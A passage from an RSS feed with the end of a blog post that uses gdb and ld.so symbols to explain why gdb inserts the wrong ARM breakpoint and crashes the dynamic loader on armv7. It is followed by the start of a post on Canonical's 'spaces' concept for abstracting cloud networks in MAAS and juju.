<pre><code>lsl r0, r6, #7
b #-16
</code></pre>
<p>So, it takes the contents of r6, does a logical shift left by 7, writes it to r0 and then does an unconditional branch backwards by 16 bytes. This is quite likely going to cause our program (in this case, the dynamic loader) to go off the rails and crash with a less than useful stacktrace, which is the behaviour we&#8217;re seeing.</p>
<h1>Why is this happening?</h1>
<p>The next step was to figure out why gdb is inserting the ARM breakpoint instruction sequence instead of the Thumb one. To do this, I needed to understand where the breakpoints are written, and grepping the source code suggests the <code>PTRACE_POKEDATA</code> calls happen in <code>inf_ptrace_peek_poke</code> in gdb/inf-ptrace.c (actually, you won&#8217;t find <code>PTRACE_POKEDATA</code> here &#8211; it&#8217;s <code>PT_WRITE_D</code> which is defined in /usr/include/sys/ptrace.h).</p>
<p>Running gdb inside gdb with the dynamic loader debug symbols installed and setting a breakpoint on <code>inf_ptrace_peek_poke</code> shows me the call stack. Note that I set a breakpoint by line number, as <code>inf_ptrace_peek_poke</code> is inlined and it was the only way I could get the conditional breakpoint to work:</p>
<pre><code>$ gdb --args gdb --command=~/test.script
...                                                                                                                                                                
(gdb) break ./gdb/inf-ptrace.c:578 if writebuf != 0x0                                                                                                                                                              
Breakpoint 1 at 0x51218: file ./gdb/inf-ptrace.c, line 578.                                                                                                                                                        
(gdb) run                                                                                                                                                                                                          
Starting program: /usr/bin/gdb --command=\~/test.script                                                                                                                                                            
Cannot parse expression `.L1207 4@r4'.                                                                                                                                                                             
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                                                                                                                                                                                   

[Thread debugging using libthread_db enabled]                                                                                                                                                                      
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".                                                                                                                                      
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git                                                         
Copyright (C) 2018 Free Software Foundation, Inc.                                                        
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;                                                                                                                                      
This is free software: you are free to change and redistribute it.                                                                                                                                                 
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"                                                                                                                                         
and "show warranty" for details.                                                                                                                                                                                   
This GDB was configured as "arm-linux-gnueabihf".                                                        
Type "show configuration" for configuration details.                                                     
For bug reporting instructions, please see:                                                              
&lt;http://www.gnu.org/software/gdb/bugs/&gt;.                                                                 
Find the GDB manual and other documentation resources online at:
&lt;http://www.gnu.org/software/gdb/documentation/&gt;.
For help, type "help".
Type "apropos word" to search for commands related to "word".

Breakpoint 1, inf_ptrace_xfer_partial (ops=&lt;optimized out&gt;, object=&lt;optimized out&gt;, annex=&lt;optimized out&gt;, readbuf=0x0, writebuf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt;     "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/inf-ptrace.c:578
578     ./gdb/inf-ptrace.c: No such file or directory.
(gdb) p/x offset
$1 = 0xf77c9a44
(gdb) bt
#0  inf_ptrace_xfer_partial (ops=&lt;optimized out&gt;, object=&lt;optimized out&gt;, annex=&lt;optimized out&gt;, readbuf=0x0, writebuf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/inf-ptrace.c:578
#1  0x00457512 in linux_xfer_partial (ops=0x8306e0, object=&lt;optimized out&gt;, annex=0x0, readbuf=0x0, writebuf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", offset=4152138308, len=2, xfered_len=0xfffeee18)
    at ./gdb/linux-nat.c:4280
#2  0x004576da in linux_nat_xfer_partial (ops=0x8306e0, object=TARGET_OBJECT_MEMORY, annex=&lt;optimized out&gt;, readbuf=0x0, writebuf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", offset=4152138308, len=2,
    xfered_len=0xfffeee18) at ./gdb/linux-nat.c:3908
#3  0x005f64f4 in raw_memory_xfer_partial (ops=ops@entry=0x8306e0, readbuf=readbuf@entry=0x0, writebuf=writebuf@entry=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", memaddr=4152138308, len=len@entry=2,
    xfered_len=xfered_len@entry=0xfffeee18) at ./gdb/target.c:1064
#4  0x005f6a98 in target_xfer_partial (ops=ops@entry=0x8306e0, object=object@entry=TARGET_OBJECT_RAW_MEMORY, annex=annex@entry=0x0, readbuf=readbuf@entry=0x0,
    writebuf=writebuf@entry=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", offset=4152138308, len=&lt;optimized out&gt;, xfered_len=xfered_len@entry=0xfffeee18) at ./gdb/target.c:1298
#5  0x005f7030 in target_write_partial (xfered_len=0xfffeee18, len=2, offset=&lt;optimized out&gt;, buf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", annex=0x0, object=TARGET_OBJECT_RAW_MEMORY, ops=0x8306e0)
    at ./gdb/target.c:1554
#6  target_write_with_progress (ops=0x8306e0, object=object@entry=TARGET_OBJECT_RAW_MEMORY, annex=annex@entry=0x0, buf=buf@entry=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", offset=4152138308,
    len=len@entry=2, progress=progress@entry=0x0, baton=baton@entry=0x0) at ./gdb/target.c:1821
#7  0x005f70d2 in target_write (len=2, offset=2, buf=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", annex=0x0, object=TARGET_OBJECT_RAW_MEMORY, ops=&lt;optimized out&gt;) at ./gdb/target.c:1847
#8  target_write_raw_memory (memaddr=memaddr@entry=4152138308, myaddr=myaddr@entry=0x6b29fc &lt;arm_linux_thumb_le_breakpoint&gt; "\001\336", len=len@entry=2) at ./gdb/target.c:1473
#9  0x00590c8e in default_memory_insert_breakpoint (gdbarch=&lt;optimized out&gt;, bp_tgt=0x9236f0) at ./gdb/mem-break.c:66
#10 0x004de3aa in bkpt_insert_location (bl=0x923698) at ./gdb/breakpoint.c:12525
#11 0x004e8426 in insert_bp_location (bl=bl@entry=0x923698, tmp_error_stream=tmp_error_stream@entry=0xfffef07c, disabled_breaks=disabled_breaks@entry=0xfffeefec,
    hw_breakpoint_error=hw_breakpoint_error@entry=0xfffeeff0, hw_bp_error_explained_already=hw_bp_error_explained_already@entry=0xfffeeff4) at ./gdb/breakpoint.c:2553
#12 0x004e9556 in insert_breakpoint_locations () at ./gdb/breakpoint.c:2977
#13 update_global_location_list (insert_mode=insert_mode@entry=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12177
#14 0x004ea0a0 in update_global_location_list_nothrow (insert_mode=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12215
#15 0x004ea484 in create_solib_event_breakpoint_1 (insert_mode=UGLL_MAY_INSERT, address=address@entry=4152138308, gdbarch=gdbarch@entry=0x0) at ./gdb/breakpoint.c:7555
#16 create_solib_event_breakpoint (gdbarch=gdbarch@entry=0x928fb0, address=address@entry=4152138308) at ./gdb/breakpoint.c:7562
#17 0x004497bc in svr4_create_probe_breakpoints (objfile=0x933888, probes=0xfffef148, gdbarch=0x928fb0) at ./gdb/solib-svr4.c:2089
#18 svr4_create_solib_event_breakpoints (gdbarch=0x928fb0, address=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:2173
#19 0x00449c5c in enable_break (from_tty=&lt;optimized out&gt;, info=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:2465
#20 svr4_solib_create_inferior_hook (from_tty=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:3057
#21 0x0056bba6 in post_create_inferior (target=0x801084 &lt;current_target&gt;, from_tty=from_tty@entry=0) at ./gdb/infcmd.c:469
#22 0x0056c736 in run_command_1 (args=&lt;optimized out&gt;, from_tty=0, run_how=RUN_NORMAL) at ./gdb/infcmd.c:665
#23 0x00465334 in cmd_func (cmd=&lt;optimized out&gt;, args=&lt;optimized out&gt;, from_tty=&lt;optimized out&gt;) at ./gdb/cli/cli-decode.c:1886
#24 0x006062a6 in execute_command (p=&lt;optimized out&gt;, p@entry=0x880f10 "run", from_tty=0) at ./gdb/top.c:630
#25 0x00548760 in command_handler (command=0x880f10 "run") at ./gdb/event-top.c:583
#26 0x00606a66 in read_command_file (stream=stream@entry=0x874ae0) at ./gdb/top.c:424
#27 0x004684e2 in script_from_file (stream=stream@entry=0x874ae0, file=file@entry=0xfffef7d0 "~/test.script") at ./gdb/cli/cli-script.c:1592
#28 0x004639bc in source_script_from_stream (file_to_open=0xfffef7d0 "~/test.script", file=0xfffef7d0 "~/test.script", stream=0x874ae0) at ./gdb/cli/cli-cmds.c:568
#29 source_script_with_search (file=0xfffef7d0 "~/test.script", from_tty=&lt;optimized out&gt;, search_path=&lt;optimized out&gt;) at ./gdb/cli/cli-cmds.c:604
#30 0x0058821a in catch_command_errors (command=0x463a89 &lt;source_script(char const*, int)&gt;, arg=0xfffef7d0 "~/test.script", from_tty=1) at ./gdb/main.c:379
#31 0x00588ea0 in captured_main_1 (context=&lt;optimized out&gt;) at ./gdb/main.c:1125
#32 captured_main (data=&lt;optimized out&gt;) at ./gdb/main.c:1147
#33 gdb_main (args=&lt;optimized out&gt;) at ./gdb/main.c:1173
#34 0x004343ac in main (argc=&lt;optimized out&gt;, argv=&lt;optimized out&gt;) at ./gdb/gdb.c:32
</code></pre>
<p>Frame 9 (<code>default_memory_insert_breakpoint</code>) looks like it will probably be interesting to us. Taking a look at what it does:</p>
<pre><code>int
default_memory_insert_breakpoint (struct gdbarch *gdbarch,
                  struct bp_target_info *bp_tgt)
{
  CORE_ADDR addr = bp_tgt-&gt;placed_address;
  const unsigned char *bp;
  gdb_byte *readbuf;
  int bplen;
  int val;

  /* Determine appropriate breakpoint contents and size for this address.  */
  bp = gdbarch_sw_breakpoint_from_kind (gdbarch, bp_tgt-&gt;kind, &amp;bplen);

  /* Save the memory contents in the shadow_contents buffer and then
     write the breakpoint instruction.  */
  readbuf = (gdb_byte *) alloca (bplen);
  val = target_read_memory (addr, readbuf, bplen);
  if (val == 0)
    {
       ...
      bp_tgt-&gt;shadow_len = bplen;
      memcpy (bp_tgt-&gt;shadow_contents, readbuf, bplen);

      val = target_write_raw_memory (addr, bp, bplen);
    }

  return val;
}
</code></pre>
<p>The call to <code>gdbarch_sw_breakpoint_from_kind</code> appears to return the bytes written for our breakpoint. <code>gdbarch_sw_breakpoint_from_kind</code> delegates to <code>arm_sw_breakpoint_from_kind</code> in gdb/arm-tdep.c. (The <code>gdbarch_</code> functions provides a way for architecture independent code in gdb to call functions specific to the architecture associated with the target). Taking a look at what this does:</p>
<pre><code>static const gdb_byte *
arm_sw_breakpoint_from_kind (struct gdbarch *gdbarch, int kind, int *size)
{
  struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);

  switch (kind)
    {
    case ARM_BP_KIND_ARM:
      *size = tdep-&gt;arm_breakpoint_size;
      return tdep-&gt;arm_breakpoint;
    case ARM_BP_KIND_THUMB:
      *size = tdep-&gt;thumb_breakpoint_size;
      return tdep-&gt;thumb_breakpoint;
    case ARM_BP_KIND_THUMB2:
      *size = tdep-&gt;thumb2_breakpoint_size;
      return tdep-&gt;thumb2_breakpoint;
    default:
      gdb_assert_not_reached ("unexpected arm breakpoint kind");
    }
}
</code></pre>
<p>So, <code>arm_breakpoint_from_kind</code> returns an ARM, Thumb or Thumb2 breakpoint instruction sequence depending on the value of <code>kind</code>. If we switch to frame 9, we should be able to inspect the value of <code>kind</code>:</p>
<pre><code>(gdb) f 9
#9  0x00590c8e in default_memory_insert_breakpoint (gdbarch=&lt;optimized out&gt;, bp_tgt=0x9236f0) at ./gdb/mem-break.c:66
66      ./gdb/mem-break.c: No such file or directory.
(gdb) p bp_tgt-&gt;kind
$2 = 2
</code></pre>
<p>2 is <code>ARM_BP_KIND_THUMB</code>, so this appears to check out. Moving further up the stack, we find that <code>kind</code> is determined in frame 10 (<code>bkpt_insert_location</code> in gdb/breakpoint.c). Let&#8217;s have a look at what that does:</p>
<pre><code>static int
bkpt_insert_location (struct bp_location *bl)
{
  CORE_ADDR addr = bl-&gt;target_info.reqstd_address;

  bl-&gt;target_info.kind = breakpoint_kind (bl, &amp;addr);
  bl-&gt;target_info.placed_address = addr;

  if (bl-&gt;loc_type == bp_loc_hardware_breakpoint)
    return target_insert_hw_breakpoint (bl-&gt;gdbarch, &amp;bl-&gt;target_info);
  else
    return target_insert_breakpoint (bl-&gt;gdbarch, &amp;bl-&gt;target_info);
}
</code></pre>
<p>This calls <code>breakpoint_kind</code>, which delegates to <code>arm_breakpoint_kind_from_pc</code> in gdb/arm-tdep.c via <code>gdbarch_breakpoint_kind_from_pc</code>. <code>arm_breakpoint_kind_from_pc</code> maps the breakpoint address to an instruction set and returns one of three values &#8211; <code>ARM_BP_KIND_ARM</code>, <code>ARM_BP_KIND_THUMB</code> or <code>ARM_BP_KIND_THUMB2</code>. From looking at <code>arm_breakpoint_kind_from_pc</code>, we can see the most interesting part is a call to <code>arm_pc_is_thumb</code>. Let&#8217;s have a look at how this works:</p>
<pre><code>int
arm_pc_is_thumb (struct gdbarch *gdbarch, CORE_ADDR memaddr)
{
  struct bound_minimal_symbol sym;
  char type;
  ...

  /* If bit 0 of the address is set, assume this is a Thumb address.  */
  if (IS_THUMB_ADDR (memaddr))
    return 1;
</code></pre>
<p>So, first of all it checks whether bit 0 of the breakpoint address is set. Looking at the SystemTap probes in <code>.note.stapsdt</code> from our earlier <code>readelf</code> output, we can see that this is not the case for any probe. Following on:</p>
<pre><code>  /* If the user wants to override the symbol table, let him.  */
  if (strcmp (arm_force_mode_string, "arm") == 0)
    return 0;
  if (strcmp (arm_force_mode_string, "thumb") == 0)
    return 1;

  /* ARM v6-M and v7-M are always in Thumb mode.  */
  if (gdbarch_tdep (gdbarch)-&gt;is_m)
    return 1;
</code></pre>
<p>We&#8217;re not forcing the mode and this isn&#8217;t ARM v6-M or v7-M, so, continuing:</p>
<pre><code>  /* If there are mapping symbols, consult them.  */
  type = arm_find_mapping_symbol (memaddr, NULL);
  if (type)
    return type == 't';
</code></pre>
<p><code>arm_find_mapping_symbol</code> tries to find a mapping symbol associated with the breakpoint address. Mapping symbols are a special type of symbol used to identify transitions between ARM and Thumb instruction sets (see <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0474f/CHDGFCDI.html">this</a> information). Breaking here in gdb shows that there isn&#8217;t a mapping symbol associated with the <code>init_start</code> probe:</p>
<pre><code>(gdb) break ./gdb/arm-tdep.c:434
Breakpoint 2 at 0x43ec3c: file ./gdb/arm-tdep.c, line 434.
(gdb) run
...

Breakpoint 2, arm_pc_is_thumb (gdbarch=gdbarch@entry=0x928fb0, memaddr=memaddr@entry=4152138308) at ./gdb/arm-tdep.c:434
434     ./gdb/arm-tdep.c: No such file or directory.
(gdb) p/x memaddr
$2 = 0xf77c9a44
(gdb) p type
$3 = 0 '\000'
</code></pre>
<p>So, continuing to the next step:</p>
<pre><code>  /* Thumb functions have a "special" bit set in minimal symbols.  */
  sym = lookup_minimal_symbol_by_pc (memaddr);
  if (sym.minsym)
    return (MSYMBOL_IS_SPECIAL (sym.minsym));
</code></pre>
<p><code>lookup_minimal_symbol_by_pc</code> tries to map the breakpoint address to a function symbol. <code>MSYMBOL_IS_SPECIAL(sym.minsym)</code> expands to <code>sym.minsym-&gt;target_flag_1</code> and is 1 if bit 0 of the symbol&#8217;s target address is set, indicating that the function is called in Thumb mode (see <code>arm_elf_make_msymbol_special</code> in gdb/arm-tdep.c for where this is set). Breaking here in gdb shows that this succeeds:</p>
<pre><code>(gdb) break ./gdb/arm-tdep.c:439
Breakpoint 3 at 0x43ec54: file ./gdb/arm-tdep.c, line 439.
(gdb) cont
Continuing.

Breakpoint 3, arm_pc_is_thumb (gdbarch=gdbarch@entry=0x928fb0, memaddr=memaddr@entry=4152138308) at ./gdb/arm-tdep.c:439
439     in ./gdb/arm-tdep.c
(gdb) p sym.minsym
$4 = (minimal_symbol *) 0x964278
(gdb) p *sym.minsym
$5 = {mginfo = {name = 0x952ff8 "dl_main", value = {ivalue = 5932, block = 0x172c, bytes = 0x172c &lt;error: Cannot access memory at address 0x172c&gt;, address = 5932, common_block = 0x172c, chain = 0x172c}, 
    language_specific = {obstack = 0x0, demangled_name = 0x0}, language = language_auto, ada_mangled = 0, section = 10}, size = 10516, filename = 0x949a48 "rtld.c", type = mst_file_text, created_by_gdb = 0, 
  target_flag_1 = 1, target_flag_2 = 0, has_size = 1, hash_next = 0x0, demangled_hash_next = 0x0}
(gdb) p sym.minsym-&gt;target_flag_1
$6 = 1
</code></pre>
<p>It indicates that the <code>init_start</code> probe is in <code>dl_main</code>, and that it is called in Thumb mode.</p>
<p>We can use readelf to inspect the symbol table and verify that this is correct:</p>
<pre><code>$ readelf -s libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so | grep dl_main
    42: 0000172d 10516 FUNC LOCAL DEFAULT 11 dl_main
</code></pre>
<p>Note that bit 0 of the target address is set.</p>
<p>If <code>lookup_minimal_symbol_by_pc</code> fails, then we&#8217;re basically out of luck and <code>arm_pc_is_thumb</code> will return 0 (indicating that the breakpoint address is in an area that is executing ARM instructions). But this depends on the <code>.symtab</code> ELF section being present, so there is an obvious issue here as this is stripped from the binary in the build (and shipped in a separate debug object).</p>
<p>I then ran gdb in gdb without the dynamic loader symbols installed and set a breakpoint on <code>default_memory_insert_breakpoint</code>:</p>
<pre><code>$ gdb --args gdb --batch --command=~/test.script
(gdb) set debug-file-directory /home/ubuntu/libc6-syms/usr/lib/debug/:/usr/lib/debug/                                                                                                                             
(gdb) break default_memory_insert_breakpoint(gdbarch*, bp_target_info*)                                  
Breakpoint 1 at 0x190c34: file ./gdb/mem-break.c, line 39.                                                                                                                                                         
(gdb) run                                                                                                                                                                                                          
Starting program: /usr/bin/gdb --batch --command=\~/test.script                                                                                                                                                    
Cannot parse expression `.L1207 4@r4'.                                                                                                                                                                             
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                                                                         

[Thread debugging using libthread_db enabled]                                                                                                                                                                      
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".                                                                                                                                      

Breakpoint 1, default_memory_insert_breakpoint (gdbarch=0x9288c0, bp_tgt=0x922fe8) at ./gdb/mem-break.c:39
39      ./gdb/mem-break.c: No such file or directory.
(gdb) bt
#0  default_memory_insert_breakpoint (gdbarch=0x9288c0, bp_tgt=0x922fe8) at ./gdb/mem-break.c:39         
#1  0x004de3aa in bkpt_insert_location (bl=0x922f90) at ./gdb/breakpoint.c:12525
#2  0x004e8426 in insert_bp_location (bl=bl@entry=0x922f90, tmp_error_stream=tmp_error_stream@entry=0xfffef07c, disabled_breaks=disabled_breaks@entry=0xfffeefec,
    hw_breakpoint_error=hw_breakpoint_error@entry=0xfffeeff0, hw_bp_error_explained_already=hw_bp_error_explained_already@entry=0xfffeeff4) at ./gdb/breakpoint.c:2553
#3  0x004e9556 in insert_breakpoint_locations () at ./gdb/breakpoint.c:2977
#4  update_global_location_list (insert_mode=insert_mode@entry=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12177
#5  0x004ea0a0 in update_global_location_list_nothrow (insert_mode=UGLL_MAY_INSERT) at ./gdb/breakpoint.c:12215
#6  0x004ea484 in create_solib_event_breakpoint_1 (insert_mode=UGLL_MAY_INSERT, address=address@entry=4152138308, gdbarch=gdbarch@entry=0x0) at ./gdb/breakpoint.c:7555
#7  create_solib_event_breakpoint (gdbarch=gdbarch@entry=0x9288c0, address=address@entry=4152138308) at ./gdb/breakpoint.c:7562
#8  0x004497bc in svr4_create_probe_breakpoints (objfile=0x933238, probes=0xfffef148, gdbarch=0x9288c0) at ./gdb/solib-svr4.c:2089
#9  svr4_create_solib_event_breakpoints (gdbarch=0x9288c0, address=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:2173
#10 0x00449c5c in enable_break (from_tty=&lt;optimized out&gt;, info=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:2465
#11 svr4_solib_create_inferior_hook (from_tty=&lt;optimized out&gt;) at ./gdb/solib-svr4.c:3057
#12 0x0056bba6 in post_create_inferior (target=0x801084 &lt;current_target&gt;, from_tty=from_tty@entry=0) at ./gdb/infcmd.c:469
#13 0x0056c736 in run_command_1 (args=&lt;optimized out&gt;, from_tty=0, run_how=RUN_NORMAL) at ./gdb/infcmd.c:665
#14 0x00465334 in cmd_func (cmd=&lt;optimized out&gt;, args=&lt;optimized out&gt;, from_tty=&lt;optimized out&gt;) at ./gdb/cli/cli-decode.c:1886
#15 0x006062a6 in execute_command (p=&lt;optimized out&gt;, p@entry=0x874758 "run", from_tty=0) at ./gdb/top.c:630
#16 0x00548760 in command_handler (command=0x874758 "run") at ./gdb/event-top.c:583
#17 0x00606a66 in read_command_file (stream=stream@entry=0x875da8) at ./gdb/top.c:424
#18 0x004684e2 in script_from_file (stream=stream@entry=0x875da8, file=file@entry=0xfffef7d0 "~/test.script") at ./gdb/cli/cli-script.c:1592
#19 0x004639bc in source_script_from_stream (file_to_open=0xfffef7d0 "~/test.script", file=0xfffef7d0 "~/test.script", stream=0x875da8) at ./gdb/cli/cli-cmds.c:568
#20 source_script_with_search (file=0xfffef7d0 "~/test.script", from_tty=&lt;optimized out&gt;, search_path=&lt;optimized out&gt;) at ./gdb/cli/cli-cmds.c:604
#21 0x0058821a in catch_command_errors (command=0x463a89 &lt;source_script(char const*, int)&gt;, arg=0xfffef7d0 "~/test.script", from_tty=0) at ./gdb/main.c:379
#22 0x00588ea0 in captured_main_1 (context=&lt;optimized out&gt;) at ./gdb/main.c:1125
#23 captured_main (data=&lt;optimized out&gt;) at ./gdb/main.c:1147
#24 gdb_main (args=&lt;optimized out&gt;) at ./gdb/main.c:1173
#25 0x004343ac in main (argc=&lt;optimized out&gt;, argv=&lt;optimized out&gt;) at ./gdb/gdb.c:32
(gdb) p/x bp_tgt-&gt;placed_address
$1 = 0xf77c9a44
(gdb) p bp_tgt-&gt;kind
$2 = 4
</code></pre>
<p>Sure enough, <code>default_memory_insert_breakpoint</code> is called this time with <code>kind == 4</code> (<code>ARM_BP_KIND_ARM</code>) which seems to be incorrect. Setting a breakpoint in <code>arm_pc_is_thumb</code> again, we can verify that the reason for this is that the call to <code>lookup_minimal_symbol_by_pc</code> fails:</p>
<pre><code>(gdb) break ./gdb/arm-tdep.c:439                                                                                                                                                                                   
Breakpoint 1 at 0x3ec54: file ./gdb/arm-tdep.c, line 439.                                                                                                                                                          
(gdb) run
Starting program: /usr/bin/gdb --command=\~/test.script                                                  
Cannot parse expression `.L1207 4@r4'.                                                                   
warning: Probes-based dynamic linker interface failed.                                                   
Reverting to original interface.                    

[Thread debugging using libthread_db enabled]       
Using host libthread_db library "/lib/arm-linux-gnueabihf/libthread_db.so.1".
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;.
Find the GDB manual and other documentation resources online at:
&lt;http://www.gnu.org/software/gdb/documentation/&gt;.
For help, type "help".
Type "apropos word" to search for commands related to "word".

Breakpoint 1, arm_pc_is_thumb (gdbarch=0x928fb0, memaddr=4152138308) at ./gdb/arm-tdep.c:439
439     ./gdb/arm-tdep.c: No such file or directory.
(gdb) p/x memaddr
$1 = 0xf77c9a44
(gdb) p sym.minsym
$2 = (minimal_symbol *) 0x0
</code></pre>
<p>This results in <code>arm_pc_is_thumb</code> returning 0 and <code>arm_breakpoint_kind_from_pc</code> returning <code>ARM_BP_KIND_ARM</code>, which results in <code>arm_sw_breakpoint_from_kind</code> returning the wrong breakpoint instruction sequence.</p>
<h1>TL;DR</h1>
<p>GDB causes a crash in the dynamic loader (ld.so) on armv7 if ld.so has been stripped of its symbol table, because it is unable to correctly determine the appropriate instruction set when inserting probe event breakpoints.</p>
<p>If you&#8217;ve got to the end of this (congratulations), then you&#8217;re probably going to be disappointed to hear that I&#8217;m not sure what the proper fix is &#8211; this isn&#8217;t really my area of expertise. For the rustc package, I just added a <code>Build-Depends: libc6-dbg [armhf]</code> as a workaround for now, and that might even be the correct fix. But, it&#8217;s certainly nicer to understand why it didn&#8217;t work in the first place.</p>
<div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="https://www.facebook.com/plugins/like.php?href=https%3A%2F%2Fchriscoulson.me.uk%2Fblog%2F%3Fp%3D295&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:80px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="https://chriscoulson.me.uk/blog/?p=295"></g:plusone>
			</div>
			<div style="float:left; width:95px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="https://twitter.com/share" class="twitter-share-button" data-url="https://chriscoulson.me.uk/blog/?p=295"  data-text="Debugging the debugger" data-count="horizontal" data-via="chrisccoulson"></a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></description>
      <source url="http://www.chriscoulson.me.uk/blog/?feed=rss2&amp;cat=3">Chris Coulson</source>
    </item>
    <item>
      <title>Spaces – uncomplicating your network</title>
      <link>https://ivoks.com/ubuntu/spaces-uncomplicating-your-network/</link>
      <guid isPermaLink="true">https://ivoks.com/ubuntu/spaces-uncomplicating-your-network/</guid>
      <pubDate>Thu, 12 Apr 2018 04:44:16 GMT</pubDate>
      <description><![CDATA[<figure id="attachment_21" aria-describedby="caption-attachment-21" style="width: 890px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-21" src="https://ivoks.com/wp-content/uploads/2018/04/openstack-network-architecture.png" alt="An old OpenStack network architecture" width="890" height="467" srcset="https://ivoks.com/wp-content/uploads/2018/04/openstack-network-architecture.png 890w, https://ivoks.com/wp-content/uploads/2018/04/openstack-network-architecture-300x157.png 300w, https://ivoks.com/wp-content/uploads/2018/04/openstack-network-architecture-768x403.png 768w" sizes="(max-width: 890px) 100vw, 890px" /><figcaption id="caption-attachment-21" class="wp-caption-text">An old OpenStack network architecture</figcaption></figure>
<p>For past 5-6 years I&#8217;ve been in business of deploying cloud solutions for our customers. Vast majority of that was some form of <a href="https://www.openstack.org/">OpenStack</a>, either a simple cloud or a complicated one. But when you think about it &#8211; what is a simple cloud? It&#8217;s easy to say that small amount of machines makes an easy, and large amount of machines makes a complicated cloud. But, that is not true. Complexity of a typical IaaS solution is pretty much determined by network complexity. Network, in all shapes and forms, from the underlay network to the customer&#8217;s overlay network requirements. I&#8217;ll try to explain how we deal with the underlay part in this blog.</p>
<p>It&#8217;s not a secret that a traditional tree like network architecture just doesn&#8217;t work for cloud environments. There are multiple reasons why; it doesn&#8217;t scale very well, it requires big OSI layer 2 domains and&#8230; well, it&#8217;s based on OSI layer 2. Debugging issues on that level is never a joyful experience. Therefore, for IaaS environments one really wants to do a modern design in a form of a spine-leaf architecture. Layer 3 spine-leaf architecture. This allows us to have bunch of smaller layer 2 domains, which then nicely correlate to availability zones, power zones, etc. However, managing environments with multiple layer 2 and therefore even more layer 3 domains requires a bit of rethinking. If we truly want to be effective in deploying and operating a cloud across multiple different layer 2 domains we need to think of the network in a bit more abstract mode. Luckily, this is nothing new.</p>
<p>In traditional approach to network, we talk about TORs, management fabric, BMC/OOB fabric, etc. These are most of the time layer 2 concepts. Fabric, after all, is a collection of switches. But the approach is correct; we should always talk about networks in abstract terms. Instead of talking about subnets and VLANs, we should talk about purpose of the network. This becomes important when we talk about spine-leaf architecture and multiple different subnets that serve the same purpose. In rack 1, subnet 172.16.1.0/24 is management network, but in rack 2, management network is on subnet 192.168.1.0/24, and so on. It&#8217;s obvious that it&#8217;s much nicer to abstract those subnets into a &#8216;management network&#8217;. Still, nothing new. We do this every day.</p>
<p>So&#8230; Why do our tools and applications still require us to use VLANs, subnets and IPs? If we deploy same application across different racks, why do we have to keep separate configurations for each of the units of the same application? What we really want is to have all of our Keystones listening on OpenStack Public API network, and not on subnets 192.168.10.0/24, 192.168.20.0/24 and 192.168.30.0/24. We end up thinking about application on a network, but we configure differently exact copies of the same application (units) on different subnets. Clearly our configuration tools are not doing what we want, but rather forcing us to transform our way of thinking into what those tools need. It&#8217;s a paradox that OpenStack is not that complicated, rather it&#8217;s made complicated by the tools used to deploy it.</p>
<p>While trying to solve this problem in our deployments at Canonical, we came up with concept of <strong>spaces</strong>. A space would be this abstracted network that we have in our heads, but somehow fail to put into our tools. Again, spaces are not a revolutionary concept in networking, they have been in our heads all this time. So, how do we implement spaces at Canonical?</p>
<p>We have grown concept of spaces across all of our tooling; <a href="https://maas.io/">MAAS</a>, <a href="https://www.ubuntu.com/cloud/juju">juju</a> and <a href="https://jujucharms.com/">charms</a>. When we configure MAAS to manage our bare metal machines, we do not define networks as subnets or VLANs, we rather define networks as spaces. A space has a purpose, description and few other attributes. VLANs, and indirectly subnets too, become properties of the space, instead of other way around. This also means that when we deploy a machine, we deploy it connected to a space. When we deploy a machine, we usually do not deploy it on a specific network, but rather with specific requirements; must be able to talk to X, must have Y CPU and Z RAM. If you ever asked yourself why does it take so much time to rack and stack a server, it&#8217;s because of this disconnect of what we want and how we handle the configuration.</p>
